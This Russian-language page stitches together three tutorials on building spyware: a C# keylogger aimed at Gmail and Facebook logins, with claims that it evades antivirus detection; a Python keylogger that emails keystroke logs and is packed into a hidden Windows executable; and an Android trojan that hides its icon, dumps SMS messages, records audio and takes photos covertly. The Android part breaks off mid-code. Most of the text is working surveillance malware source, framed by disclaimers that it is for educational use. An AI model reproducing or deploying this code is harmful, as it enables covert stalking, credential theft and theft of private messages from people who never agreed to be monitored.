Как написать программу для слежки

Время на прочтение
6 мин

Количество просмотров 134K

image

Хакерский мир можно условно разделить на три группы атакующих:

1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.

2) «Byuers» — не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.

3) «Black Hat Сoders» — гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.

Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.

Зачем ИБ-персоналу эти сомнительные навыки?

Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.

Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.

Кейлогер

Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.

Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.

Начнем.

Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:

1.  [DllImport("user32.dll")]
2.  
3.  public static extern int GetAsyncKeyState(Int32 i);

Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:

Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:

1.  while (true)
2.  {
3.  Thread.Sleep(100);
4.  for (Int32 i = 0; i < 255; i++)
5.  {
6.  int state = GetAsyncKeyState(i);
7.  if (state == 1 || state == -32767)
8.  {
9.  Console.WriteLine((Keys)i);
10. 
11. }
12. }
13. }

Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.

Умный кейлогер

Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.

Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.

Вторая версия кода:

1.  while (true) 
2.  {
3.  IntPtr handle = GetForegroundWindow();
4.  if (GetWindowText(handle, buff, chars) > 0)
5.  {
6.  string line = buff.ToString();
7.  if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up "))
8.  {
9.  //проверка клавиатуры 
10. }
11. }
12. Thread.Sleep(100);
13. }

Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.

Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.

Еще более умный кейлогер

Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.

Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:

1.  //Ищем почтовый адрес
2.  ^[w!#$%&'*+-/=?^_`{|}~]+(.[w!#$%&'*+-/=?^_`{|}~]+)*@((([-w]+.)+[a-zA-Z]{2,4})|(([0-9]{1,3}.){3}[0-9]{1,3}))$
3.  
4.  
5.  //Ищем пароль
6.  (?=^.{6,}$)(?=.*d)(?=.*[a-zA-Z])

Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.

Для C# это выглядит так:

1.  Regex re = new Regex(@"^[w!#$%&amp;'*+-/=?^_`{|}~]+(.[w!#$%&amp;'*+-/=?^_`{|}~]+)*@((([-w]+.)+[a-zA-Z]{2,4})|(([0-9]{1,3}.){3}[0-9]{1,3}))$");
2.  Regex re2 = new Regex(@"(?=^.{6,}$)(?=.*d)(?=.*[a-zA-Z])");
3.  string email = "Oded.awask@gmail.com";
4.  string pass = "abcde3FG";
5.  Match result = re.Match(email);
6.  Match result2 = re2.Match(pass);

Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.

Бесплатно и полностью не обнаружим

В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.

Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?

Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.

image

В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.

Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.

В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.

Этот материал публикуется исключительно в ознакомительных целях. Автор и редакция категорически против неэтичного использования программного кода, приведенного ниже для слежки, шпионажа, хищения данных и других возможных злоупотреблений. Автор и редакция не несут ответственность за негативные последствия использования этого материала.

Что такое кейлоггер и зачем он нужен

Кейлоггер – это программа, предназначенная для записи ввода с клавиатуры. Кейлоггинг можно использовать для изучения динамики нажатия клавиш (.pdf), взаимодействия человека с компьютером, сохранения и анализа информации при вводе. Скажем, когда вы много работаете с текстом, кейлоггер может помочь собрать информацию о скорости ввода, продуктивности за определенный период времени и прочее. С другой стороны, кейлоггеры часто используют хакеры для кражи паролей и другой конфиденциальной информации.

Для начала нам потребуется установить Python. Если это уже сделано, можете смело пропустить этот абзац и переходить к установке библиотеки. В противном случае скачайте и установите подходящий релиз с официальной страницы языка. В данном руководстве мы будем использовать версию Python 3.9, но, по сути, подойдет любая версия.

Кроме этого, нам понадобится библиотека keyboard. Она позволяет контролировать и регистрировать ввод с клавиатуры.

Ставим библиотеку простой командой в терминале:

        pip3 install keyboard
    

Пишем кейлоггер

Наш кейлоггер будет слушать и записывать в строковую переменную нажатия клавиш в фоновом режиме и отправлять содержимое через заданные интервалы в локальный файл или на email.

Импорт библиотек

Начнем с импорта необходимых библиотек:

        import keyboard 
import smtplib #для отправки электронной почты по протоколу SMTP (gmail)
#Таймер для запуска через заданный «интервал» времени.
from threading import Timer
from datetime import datetime
    

Если вы хотите отправлять логи по электронной почте, следует настроить учетную запись Gmail и убедиться, что в учетной записи:

  • разрешен доступ для небезопасных приложений;
  • отключена двухэтапная аутентификация.

Рекомендуется создавать отдельный адрес электронной почты отличный от основного, так как код содержит ваш пароль в открытом виде, который используется для отправки сообщений.

Инициализируем параметры

        SEND_REPORT_EVERY = 60 #время в секундах
EMAIL_ADDRESS = "notmygmail@gmail.com"
EMAIL_PASSWORD = "notmypassword"
    

Тут необходимо указать корректные учетные данные Gmail, иначе отчет по электронной почте не будет работать.

Создаем класс и методы

Лучший способ представить кейлоггер – создать для него класс, и каждый метод в этом классе выполняет определенную задачу:

        class Keylogger:
    def __init__(self, interval, report_method="email"):
        # передаем SEND_REPORT_EVERY в интервал
        self.interval = interval
        self.report_method = report_method
        # это строковая переменная, которая содержит лог
        self.log = ""
        #запись начала и окончания даты и времени
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()
    

Мы установили в качестве метода отправки по умолчанию значение email, что указывает на то, что мы будем отправлять кейлоги на электронную почту. В качестве альтернативы мы сможем просто записывать их в файл.

Используем функцию клавиатуры on_release(), которая принимает обратный вызов.

        def callback(self, event):
        name = event.name
        if len(name) > 1:
            #не символ, специальная клавиша (например, ctrl, alt и т. д.)
            #верхний регистр
            if name == "space":
                #" " вместо пробелов
                name = " "
            elif name == "enter":
                #добавлять новую строку всякий раз, когда нажимается ENTER
                name = "[ENTER]n"
            elif name == "decimal":
                name = "."
            else:
                #замените пробелы символами подчеркивания
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"
        #добавить имя ключа в глобальную переменную
        self.log += name
    

Пишем метод для записи в локальный файл

        def update_filename(self):
        #создать имя файла, которое будет идентифицировано по дате начала и окончания записи
        start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
        end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
        self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

    def report_to_file(self):
        # создать файл
        with open(f"{self.filename}.txt", "w") as f:
            # записать лог
            print(self.log, file=f)
        print(f"[+] Saved {self.filename}.txt")

    

Отправка на email

         def sendmail(self, email, password, message):
        # управляет подключением к SMTP-серверу
        server = smtplib.SMTP(host="smtp.gmail.com", port=587)
        # подключиться к SMTP-серверу в режиме TLS
        server.starttls()
        # логин
        server.login(email, password)
        # отправить сообщение
        server.sendmail(email, email, message)
        # завершает сеанс
        server.quit()
    

Если при отправке лога на email, консоль выдает ошибку вроде UnicodeEncodeError: 'ascii' codec can't encode character, откройте библиотеку smtplib.py по адресу C:UsersuserAppDataLocalProgramsPythonPython39Lib, найдите строку msg = _fix_eols(msg).encode('ascii') и замените ее на msg = _fix_eols(msg).encode('utf8'). Ошибка связана с тем, что кодировка ASCII не может преобразовать в байты кириллицу.

Сообщаем лог через заданные промежутки времени

         def report(self):
        if self.log:
            self.end_dt = datetime.now()
            # обновить `self.filename`
            self.update_filename()
            if self.report_method == "email":
                self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
            elif self.report_method == "file":
                self.report_to_file()
            self.start_dt = datetime.now()
        self.log = ""
        timer = Timer(interval=self.interval, function=self.report)
        timer.daemon = True
        # старт
        timer.start()
    

Давайте определим метод on_release():

        def start(self):
        #записать дату и время начала
        self.start_dt = datetime.now()
        #запустить кейлогер
        keyboard.on_release(callback=self.callback)
        self.report()
        keyboard.wait()

    

Мы закончили с классом Keylogger, теперь нужно создать экземпляр этого класса:

        if __name__ == "__main__":
    # для отправки по email раскомментировать строку ниже и закомментировать строку с report_method="file"
    # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
    # для записи в локальный файл оставляем как есть
    keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
    keylogger.start()
    

Использование

Чтобы встроить наш скрипт в исполняемый файл, вы можете воспользоваться библиотекой с открытым исходным кодом Pyinstaller. Для этого ставим саму библиотеку:

        pip3 install pyinstaller
    

И собираем все в файл:

        pyinstaller --onefile -w 'keylogger.py'
    

На выходе получаем файл с расширением .exe, который можно использовать на любом компьютере под управлением Windows.

Повторяем, мы категорически против неэтичного использования этого кода и просим обязательно уведомить всех пользователей компьютера, где вы будете запускать данное ПО.

Материалы по теме

  • 🕵 Как взломать Wi-Fi с помощью Kali Linux 2020.4 и Ubuntu 20.04
  • ⛑️ Этичный взлом: учимся белому хакингу
  • 🧨 Bug Bounty: как заработать на взломе

Как создать троян для Андроид

Содержание

  • 1 Как написать троян на Андроид
    • 1.1 Каркас
    • 1.2 Информация о местоположении
    • 1.3 Список установленных приложений
    • 1.4 Дамп СМС
    • 1.5 Скрытая запись аудио
    • 1.6 Скрытая съемка
    • 1.7 Складываем все вместе
    • 1.8 Задания по расписанию
    • 1.9 Снимок при включении экрана
    • 1.10 Запуск при загрузке
    • 1.11 Запись аудио по команде
    • 1.12 Отправка данных на сервер
  • 2 Выводы

Android принято называть рассадником вредоносных программ. Каждый день здесь выявляют более 8 тысяч новых образцов вирусов. И эти цифры постоянно растут.

Но задумывались ли вы, как эти вредоносные программы работают? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.

Еще по теме: Как вирусы попадают в Google Play Market

Как написать троян на Андроид

Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.

Возможности трояна будут следующие:

  • сбор информации о местоположении;
  • получение списка установленных приложений;
  • получение СМС;
  • запись аудио;
  • съемка задней или фронтальной камерой.

Все эти данные наше приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.


Важно! Создание и распространение вредоносных программ карается лишением свободы до четырех лет (статья 273). Мы не хотим, чтобы вы сломали себе жизнь в местах не столь отдаленных, поэтому публикуем статью исключительно в образовательных целях. Ведь лучший способ разобраться в работе зловредного ПО — это узнать, как оно создается.

По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).

Каркас

На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).

Начнем. Создайте приложение, указав в манифесте следующие разрешения:

<usespermission android:name=«android.permission.ACCESS_COARSE_LOCATION»/>

<usespermission android:name=«android.permission.ACCESS_FINE_LOCATION» />

<usespermission android:name=«android.permission.INTERNET» />

<usespermission android:name=«android.permission.CAMERA» />

<usespermission android:name=«android.permission.RECORD_AUDIO» />

<usespermission android:name=«android.permission.RECEIVE_BOOT_COMPLETED»/>

<usespermission android:name=«android.permission.READ_PHONE_STATE» />

<usespermission android:name=«android.permission.PROCESS_OUTGOING_CALLS» />

<usespermission android:name=«android.permission.READ_CONTACTS» />

<usespermission android:name=«android.permission.READ_SMS» />

В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).

Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.

Добавьте их описание в манифест (здесь и далее наше приложение будет называться com.example.app):

<activity

    android:name=«com.example.app.MainActivity»

    android:label=«@string/app_name» >

    <intentfilter>

        <action android:name=«android.intent.action.MAIN» />

        <category android:name=«android.intent.category.LAUNCHER» />

    </intentfilter>

</activity>

<service

    android:name=«com.example.app.MainService»

    android:enabled=«true»

    android:exported=«false»>

</service>

Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:

void onCreate(Bundle savedInstanceState) {

    super.onCreate(savedInstanceState)

    // Запускаем сервис

    startService(new Intent(this, MainService.class));

    // Отключаем Activtiy

    ComponentName cn = new ComponentName(«com.example.app», «com.example.app.MainActivity»);

    pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);

}

Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу.

Информация о местоположении

Теперь мы должны добавить в сервис код, который будет собирать интересующую нас информацию.

Начнем с определения местоположения. В Андроид есть несколько способов получить текущие координаты устройства: GPS, по сотовым вышкам, по WiFi-роутерам. И с каждым из них можно работать двумя способами: либо попросить систему определить текущее местоположение и вызвать по окончании операции наш колбэк, либо спросить ОС о том, какие координаты были получены в последний раз (в результате запросов на определение местоположения от других приложений, например).

В нашем случае второй способ намного удобнее. Он быстрый, абсолютно незаметен для пользователя (не приводит к появлению иконки в строке состояния) и не жрет аккумулятор. Кроме того, его очень просто использовать:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

Location getLastLocation(Context context) {

    LocationManager lManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);

    android.location.Location locationGPS = lManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);

    android.location.Location locationNet = lManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);

    long GPSLocationTime = 0;

    if (null != locationGPS) { GPSLocationTime = locationGPS.getTime(); }

    long NetLocationTime = 0;

    if (null != locationNet) { NetLocationTime = locationNet.getTime(); }

    Location loc;

    if ( 0 < GPSLocationTime NetLocationTime ) {

        loc = locationGPS;

    } else {

        loc = locationNet;

    }

    if (loc != null) {

        return loc;

    } else {

        return null;

    }

}

Данная функция спрашивает систему о последних координатах, полученных с помощью определения местоположения по сотовым вышкам и по GPS, затем берет самые свежие данные и возвращает их в форме объекта Location.

Далее можно извлечь широту и долготу и записать их в файл внутри приватного каталога нашего приложения:

Location loc = getLastKnownLocation(context)

String locationFile = context.getApplicationInfo().dataDir + «/location»

try {

    OutputStreamWriter outputStreamWriter = new OutputStreamWriter(context.openFileOutput(locationFile, Context.MODE_PRIVATE));

    outputStreamWriter.write(loc.getLatitude() + » « + loc.getLongitude);

    outputStreamWriter.close();

}

catch (IOException e) {}

Когда придет время отправлять данные на сервер, мы просто отдадим ему этот и другие файлы.

Список установленных приложений

Получить список установленных приложений еще проще:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

void dumpSMS(Context context) {

    String appsFile = context.getApplicationInfo().dataDir + «/apps»

    final PackageManager pm = context.getPackageManager();

    List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);

    try {

        PrintWriter pw = Files.writeLines(appsFile);

        for (ApplicationInfo packageInfo : packages) {

            if (!isSystemPackage(packageInfo))

                pw.println(pm.getApplicationLabel(packageInfo) + «: « + packageInfo.packageName);

        }

        pw.close();

    } catch (IOException e) {}

}

private boolean isSystemPackage(ApplicationInfo applicationInfo) {

    return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0);

}

Метод получает список всех приложений и сохраняет его в файл apps внутри приватного каталога приложения.

Дамп СМС

Уже сложнее. Чтобы получить список всех сохраненных СМС, нам необходимо подключиться к БД и пройтись по ней в поисках нужных записей. Код, позволяющий дампнуть все СМС в файл:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

void dumpSMS(Context context, String file, String box) {

    SimpleDateFormat formatter = new SimpleDateFormat(«yyyy.MM.dd HH:mm:ss», Locale.US);

    Cursor cursor = context.getContentResolver().query(Uri.parse(«content://sms/» + box), null, null, null, null);

    try {

        PrintWriter pw = Files.writeLines(file);

        if (cursor != null && cursor.moveToFirst()) {

            do {

                String address = null;

                String date = null;

                String body = null;

                for (int idx = 0; idx < cursor.getColumnCount(); idx++) {

                    switch (cursor.getColumnName(idx)) {

                        case «address»:

                            address = cursor.getString(idx);

                            break;

                        case «date»:

                            date = cursor.getString(idx);

                            break;

                        case «body»:

                            body = cursor.getString(idx);

                    }

                }

                if (box.equals(«inbox»)) {

                    pw.println(«From: « + address);

                } else {

                    pw.println(«To: « + address);

                }

                String dateString = formatter.format(new Date(Long.valueOf(date)));

                pw.println(«Date: « + dateString);

                if (body != null) {

                    pw.println(«Body: « + body.replace(‘n’, ‘ ‘));

                } else {

                    pw.println(«Body: «);

                }

                pw.println();

            } while (cursor.moveToNext());

        }

        pw.close();

        cursor.close();

    } catch (Exception e) {}

}

Использовать его следует так:

// Сохраняем список всех полученных СМС

String inboxFile = context.getApplicationInfo().dataDir + «/sms_inbox»

dumpSMS(context, inboxFile, «inbox»);

// Сохраняем список отправленных СМС

String sentFile = context.getApplicationInfo().dataDir + «/sms_sent»;

dumpSMS(context, sentFile, «sent»);

Записи в файле будут выглядеть примерно так:

From: Google

Date: 2017.02.24 06:49:55

Body: G732583 is your Google verification code.

Скрытая запись аудио

Записать аудио с микрофона можно с помощью «API MediaRecorder». Достаточно передать ему параметры записи и запустить ее с помощью метода «start()». Остановить запись можно с помощью метода «stop()». Следующий код демонстрирует, как это сделать. В данном случае мы используем отдельный спящий поток, который просыпается по истечении заданного тайм-аута и останавливает запись:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

void recordAudio(String file, final int time) {

    MediaRecorder recorder = new MediaRecorder();

    recorder.setAudioSource(MediaRecorder.AudioSource.MIC);

    recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);

    recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

    recorder.setOutputFile(file);

    try {

        recorder.prepare();

    } catch (IOException e) {}

    recorder.start();

    Thread timer = new Thread(new Runnable() {

        @Override

        public void run() {

            try {

                Thread.sleep(time * 1000);

            } catch (InterruptedException e) {

                Log.d(TAG, «timer interrupted»);

            } finally {

                recorder.stop();

                recorder.release();

            }

        }

    });

    timer.start();

}

Использовать его можно, например, так:

DateFormat formatter = new SimpleDateFormat(«yyyy-MM-dd-HH-mm-ss», Locale.US);

Date date = new Date();

String filePrefix = context.getApplicationInfo().dataDir + «/audio-«;

recordAudio(filePrefix + formatter.format(date) + «.3gp», 15);

Данный код сделает 15-секундную запись и поместит ее в файл audio-ДАТА-И-ВРЕМЯ.3gp.

Скрытая съемка

С камерой сложнее всего. Во-первых, по-хорошему необходимо уметь работать сразу с двумя API камеры: классическим и Camera2, который появился в Android 5.0 и стал основным в 7.0. Во-вторых, API Camera2 часто работает некорректно в Android 5.0 и даже в Android 5.1, к этому нужно быть готовым. В-третьих, Camera2 — сложный и запутанный API, основанный на колбэках, которые вызываются в момент изменения состояния камеры. В-четвертых, ни в классическом API камеры, ни в Camera2 нет средств для скрытой съемки. Они оба требуют показывать превью, и это ограничение придется обходить с помощью хаков.

Учитывая, что с Camera2 работать намного сложнее, а описать нюансы работы с ней в рамках данной статьи не представляется возможным, я просто приведу весь код класса для скрытой съемки. А вы можете либо использовать его как есть, либо попробуете разобраться с ним самостоятельно (но я предупреждаю: вы попадете в ад):

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

public class SilentCamera2 {

    private Context context;

    private CameraDevice device;

    private ImageReader imageReader;

    private CameraCaptureSession session;

    private SurfaceTexture surfaceTexture;

    private CameraCharacteristics characteristics;

    private Surface previewSurface;

    private CaptureRequest.Builder request;

    private Handler handler;

    private String photosDir;

    public SilentCamera2(Context context) {

        this.context = context;

    }

    private final CameraDevice.StateCallback mStateCallback =

            new CameraDevice.StateCallback() {

        @Override

        public void onOpened(CameraDevice cameraDevice) {

            device = cameraDevice;

            try {

                surfaceTexture = new SurfaceTexture(10);

                previewSurface = new Surface(surfaceTexture);

                List<Surface> surfaceList = new ArrayList<>();

                surfaceList.add(previewSurface);

                surfaceList.add(imageReader.getSurface());

                cameraDevice.createCaptureSession(surfaceList, mCaptureStateCallback, handler);

            } catch (Exception e) {

            }

        }

        @Override

        public void onDisconnected(CameraDevice cameraDevice) {

        }

        @Override

        public void onError(CameraDevice cameraDevice, int error) {

        }

    };

    private CameraCaptureSession.StateCallback mCaptureStateCallback =

            new CameraCaptureSession.StateCallback() {

                @Override

                public void onConfigured(CameraCaptureSession captureSession) {

                    session = captureSession;

                    try {

                        request = device.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);

                        request.addTarget(previewSurface);

                        request.set(CaptureRequest.CONTROL_AF_TRIGGER,

                            CameraMetadata.CONTROL_AF_TRIGGER_START);

                        captureSession.setRepeatingRequest(request.build(), mCaptureCallback, handler);

                    } catch (Exception e) {

                    }

                }

                @Override

                public void onConfigureFailed(CameraCaptureSession mCaptureSession) {}

            };

    private CameraCaptureSession.CaptureCallback mCaptureCallback =

            new CameraCaptureSession.CaptureCallback() {

        @Override

        public void onCaptureCompleted(CameraCaptureSession session,

                                     CaptureRequest request,

                                     TotalCaptureResult result) {

        }

    };

    private final ImageReader.OnImageAvailableListener mOnImageAvailableListener =

            new ImageReader.OnImageAvailableListener() {

        @Override

        public void onImageAvailable(ImageReader reader) {

            DateFormat dateFormat = new SimpleDateFormat(«yyyy-MM-dd-HH-mm-ss»);

            Date date = new Date();

            String filename = photosDir + «/» + dateFormat.format(date) + «.jpg»;

            File file = new File(filename);

            Image image = imageReader.acquireLatestImage();

            try {

                ByteBuffer buffer = image.getPlanes()[0].getBuffer();

                byte[] bytes = new byte[buffer.remaining()];

                buffer.get(bytes);

                OutputStream os = new FileOutputStream(file);

                os.write(bytes);

                image.close();

                os.close();

            } catch (Exception e) {

                e.getStackTrace();

            }

            closeCamera();

        }

    };

    private void takePicture() {

        request.set(CaptureRequest.JPEG_ORIENTATION, getOrientation());

        request.addTarget(imageReader.getSurface());

        try {

            session.capture(request.build(), mCaptureCallback, handler);

        } catch (CameraAccessException e) {

        }

    }

    private void closeCamera() {

        try {

            if (null != session) {

                session.abortCaptures();

                session.close();

                session = null;

            }

            if (null != device) {

                device.close();

                device = null;

            }

            if (null != imageReader) {

                imageReader.close();

                imageReader = null;

            }

            if (null != surfaceTexture) {

                surfaceTexture.release();

            }

        } catch (Exception e) {

        }

    }

    public boolean takeSilentPhoto(String cam, String dir) {

        photosDir = dir;

        int facing;

        switch (cam) {

            case «front»:

                facing = CameraCharacteristics.LENS_FACING_FRONT;

                break;

            case «back»:

                facing = CameraCharacteristics.LENS_FACING_BACK;

                break;

            default:

                return false;

        }

        CameraManager manager = (CameraManager)

                context.getSystemService(Context.CAMERA_SERVICE);

        String cameraId = null;

        characteristics = null;

        try {

            for (String id : manager.getCameraIdList()) {

                characteristics = manager.getCameraCharacteristics(id);

                Integer currentFacing = characteristics.get(CameraCharacteristics.LENS_FACING);

                if (currentFacing != null && currentFacing == facing) {

                    cameraId = id;

                    break;

                }

            }

        } catch (Exception e) {

            return false;

        }

        HandlerThread handlerThread = new HandlerThread(«CameraBackground»);

        handlerThread.start();

        handler = new Handler(handlerThread.getLooper());

        imageReader = ImageReader.newInstance(1920,1080, ImageFormat.JPEG, 2);

        imageReader.setOnImageAvailableListener(mOnImageAvailableListener, handler);

        try {

            manager.openCamera(cameraId, mStateCallback, handler);

            // Ждем фокусировку

            Thread.sleep(1000);

            takePicture();

        } catch (Exception e) {

            Log.d(TAG, «Can’t open camera: « + e.toString());

            return false;

        }

        return true;

    }

    private int getOrientation() {

        WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);

        int rotation = wm.getDefaultDisplay().getRotation();

        int deviceOrientation = 0;

        switch(rotation){

            case Surface.ROTATION_0:

                deviceOrientation = 0;

                break;

            case Surface.ROTATION_90:

                deviceOrientation = 90;

                break;

            case Surface.ROTATION_180:

                deviceOrientation = 180;

                break;

            case Surface.ROTATION_270:

                deviceOrientation = 270;

